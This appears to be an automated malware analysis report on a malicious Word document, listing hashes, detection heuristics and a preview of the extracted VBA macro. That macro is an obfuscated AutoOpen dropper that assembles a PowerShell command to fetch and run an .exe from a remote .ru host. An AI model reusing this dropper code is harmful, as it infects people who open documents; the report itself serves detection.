Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3888d20e01ddd08b…

MALICIOUS

Office (OLE)

140.5 KB Created: 2018-01-06 09:58:00 Authoring application: Microsoft Office Word First seen: 2018-02-07
MD5: 3df33ded37b18247f34861a946200cd7 SHA-1: 7052236ce116eae91136047b40dfaab016a7dc86 SHA-256: 3888d20e01ddd08b9499e870ccde7e9e08fb1965783c6ce4038054dfd7c26ea1
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The macro utilizes a Shell() call, indicating an attempt to run external commands or download additional payloads. ClamAV detection further confirms its malicious nature, identifying it as 'Img.Dropper.PhishingLure-6443153-0'. The macro's obfuscated string concatenation suggests it is attempting to construct a command or URL for payload delivery.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 143,872 bytes but its declared streams total only 24,689 bytes — 119,183 bytes (83%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42906 bytes
SHA-256: 4ae37e7f0cba4972a620ee81417f10b2b13351ceaba55ff5ae8371b7e3e4af86
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nZADlHDOouvt"
Sub AutoOpen()
On Error Resume Next
bBMOqwGLf = 8 + CDbl(CYjQutXjZmJ) / (vdFJwZuFZ + ChrB(wGMiUWSdqB / ChrW(847) * COFaYufalTiSN - Sgn(342)))
FjIhAjRZC = 8 + CDbl(caDLYBOvwIa) / (OziXfPfoBRnwc + ChrB(NldJkNzhdzVj / ChrW(847) * YXYiKnMU - Sgn(342)))
JwcBBtOiK = 8 + CDbl(EjondRmXMtjWj) / (wIGRdjc + ChrB(PQEmBHiU / ChrW(847) * DSMQzSktGvnb - Sgn(342)))
TnnPaFtnz = 8 + CDbl(bKtTYjq) / (iosHdDWlw + ChrB(VXWnpjvcRXaCp / ChrW(847) * oBrBXjuADqQw - Sgn(342)))
Application.Run "ZozzjCsfMN", cmRJcjTcriABZq
jLKjspJDR = 8 + CDbl(inVKXwSSpc) / (LTbLUNQvUUjXqz + ChrB(RhfltlPOXEjM / ChrW(847) * wikAozYs - Sgn(342)))
jXYbtIwFw = 8 + CDbl(iLnilnEjO) / (EEHnBHwmjjjrar + ChrB(JGKAcTJYnCBU / ChrW(847) * zzvEldoiPk - Sgn(342)))
ZlLJWSjmk = 8 + CDbl(vbjtjlcvfUlzmc) / (lkiGzCDuWkOQJ + ChrB(GGPQYYVRCVzA / ChrW(847) * wvzZwjUkhCfmu - Sgn(342)))
shJIUUSIZ = 8 + CDbl(ViOETUiIG) / (JFwXKPhpBYEkid + ChrB(oHtBfikYidr / ChrW(847) * iAQztYpkmimz - Sgn(342)))
End Sub
Function cmRJcjTcriABZq()
On Error Resume Next
WjTHkHwcj = ("Y4oj7tem(FrGt+rGtZirP+irPYhuasrGt+rGt)rGt+'+'rGt;b'+'rerGt+rGtak;}catch{wri'+'te-horGirP+irPt+rG'+'tst FZY_rGt+rGt.rGt+rGtErGt+rGtxceptiorirP+irP'+'Gt+rGtn.irP+irPMessrGt+rGt'+'age;BCpkHMdnUzKljqX7qDGECC9ErYmaBDksnz")
ktzPaBVK = 8 + CDbl(MRDPTqQvCYW) / (AjqKjOUaR + ChrB(zUcQjPWMCXjk / ChrW(847) * zPaCfcjPwHo - Sgn(342)))
SwFKmTDiS = Mid(WjTHkHwcj, 6, 176)
nWVPKfJ = 8 + CDbl(iJUDjkaNiTimDH) / (ZqVzkPG + ChrB(vJLowiSzNoRBG / ChrW(847) * JWnGXwj - Sgn(342)))
zFCZLYiqNbY = ("MLZGLPt+irP'+'+irPrGt+ FZrGt+i'+'rP+irPrGtYkarapas + YrGt+rG'+'t1i'+'.exeY1i;foreaqh2qMCf6OYnz0dQrtz")
wRYoQzJKhL = 8 + CDbl(PBrdrkLKpOS) / (lsdwYpSHJYHf + ChrB(HSwQNBj / ChrW(847) * vRzUAAZ - Sgn(342)))
GpGIH = Mid(zFCZLYiqNbY, 7, 76)
wdtpCqmJq = 8 + CDbl(EfwwomBsHMuGjS) / (tMYkRMtcMmcpa + ChrB(cYosIEsJiRV / ChrW(847) * GJAHZYdbE - Sgn(342)))
NaRqzbAPZkY = ("44mqmssv4r4geT-vaRIAble '*mDR*').naME[3,11,2]-Join'')qXcvVBBI6")
riYzkoqhZ = 8 + CDbl(kVtpWYFYqu) / (NCLAOdTiVAH + ChrB(abhzHjbkJshd / ChrW(847) * UHNFBqJ - Sgn(342)))
hdiidjC = Mid(NaRqzbAPZkY, 12, 42)
XPZSMZ = 8 + CDbl(GOCBDzWI) / (aXcoSOpawpPJU + ChrB(UhztVFYUKz / ChrW(847) * UMivDlFcTR - Sgn(342)))
EUiLXzjCYzj = ("A3N0f158llwJrGtkrGt+rGirP+irPt-rGt+rGtgrGt+rGtrupp.ru/rGt+rGtBoPc6/ri1U2")
swcOpwqh = 8 + CDbl(BLwVvDqMzH) / (lVkqXnXLYVXoEc + ChrB(PjPEzVE / ChrW(847) * zrNKnnlU - Sgn(342)))
wnYMJ = Mid(EUiLXzjCYzj, 13, 56)
awAmkIqrk = 8 + CDbl(KKSzwcYnZVjEiX) / (tvoHzvKcjPkwJ + ChrB(jYnBbduKDQG / ChrW(847) * QXzYCVTVRszdX - Sgn(342)))
KcznvhiJE = ("iAPwFEAwFZrirP+irPGirP+irPt+rGtYirP+irPhuasrGt+rGt);InrGt+rGtvorGt'+'+rGtke-IdRLmEjjKullIItXk9i4")
YoruLaFW = 8 + CDbl(hBfzSZYh) / (bcQWODi + ChrB(wwbwzYjYbQ / ChrW(847) * LXUXiXEcbMwF - Sgn(342)))
jDiEuI = Mid(KcznvhiJE, 9, 69)
FfrPPdvbo = 8 + CDbl(irzjNFPKt) / (EiAIicw + ChrB(rJoWdGFmwJb / ChrW(847) * IBtLUIa - Sgn(342)))
ijtGjaDot = ("qIhnhjqYQNrGt+rGtnsrGt+rGtadrGt+rGt'+'arGt+rGtsrGt+rirP+irP'+'GtdrGirP+irPt+rGt = nerGt+rGtw-obrGt+rGtject randrGt+rGtom;rGtirP+irP+rGtF2lQdJD")
VLzzZFwS = 8 + CDbl(wzjMujbkOu) / (ZiMHpavzmWjmN + ChrB(HBOTXSG / ChrW(847) * VHnFbjSRfH - Sgn(342)))
COkXttocsF = Mid(ijtGjaDot, 11, 126)
VmVkfUnC = 8 + CDbl(WfbdFSIrf) / (zNKWJmiMQrcl + ChrB(IFTkwPi / ChrW(847) * rcYqXjXJAO - Sgn(342)))
GDfXHsioPIT = ("CjQXXHZCJ7COk6H00Ttch(FZYabrGt+rGtc rGt+rGtin irP+'+'irPFZrGt+rGtYr'+'Gt+rGtbcdrGt+rGt)irP+irP{rGt'+'+rGttrrGt+rGty{rGt+rGtFirP+irPZ'+'YfrrGuu4MmioZ00Clk5ocZ")
ZMOAC = 8 + CDbl(BjVuPcMnFzOzY) / (EwaWNIqCj + ChrB(ZCwmkbHfMujdH / ChrW(847) * zfYwaor - Sgn(342)))
GqqmjjpDC = Mid(GDfXHsioPIT, 19, 122)
LEtSm = 8 + CDbl(izYDjwYC) / (wzhUMia + ChrB(iqinilb / ChrW(847) * UWikrcswPYANj - Sgn(342)))
uwdXtCSRRP = ("985HJGIm8baLNH68ihrGt+rGtuas ='+' rGt+rGtFrGtirP+irP+rGtZrGt+rGtYrGt+rGterGt+rGt
... (truncated)